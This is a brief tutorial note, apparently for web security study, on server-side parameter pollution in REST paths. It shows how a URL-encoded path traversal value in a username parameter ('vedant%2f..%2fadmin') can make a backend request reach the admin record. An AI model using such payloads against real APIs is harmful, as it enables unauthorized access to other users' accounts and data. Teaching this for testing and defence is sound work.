# Server Side Parameter Pollution in REST paths

Consider there is an endpoint where requests are sent to edit profiles

```
GET /edit.php?username=vedant
```

The request leads to the following server-side request

```
GET /api/user/vedant
```

Now if we can manipulate the request to do path traversal as follows.

```
GET /edit.php?username=vedant%2f..%2fadmin
```

The above is the URL encoded format of `vedant/../admin`

The server-side request of the same will be

```
GET /api/user/vedant/../admin
```

If the API in the backend normalizes the path then it will be `GET /api/user/admin`

This way, we can exploit the endpoints in APIs if there are no server-side safeguards deployed.
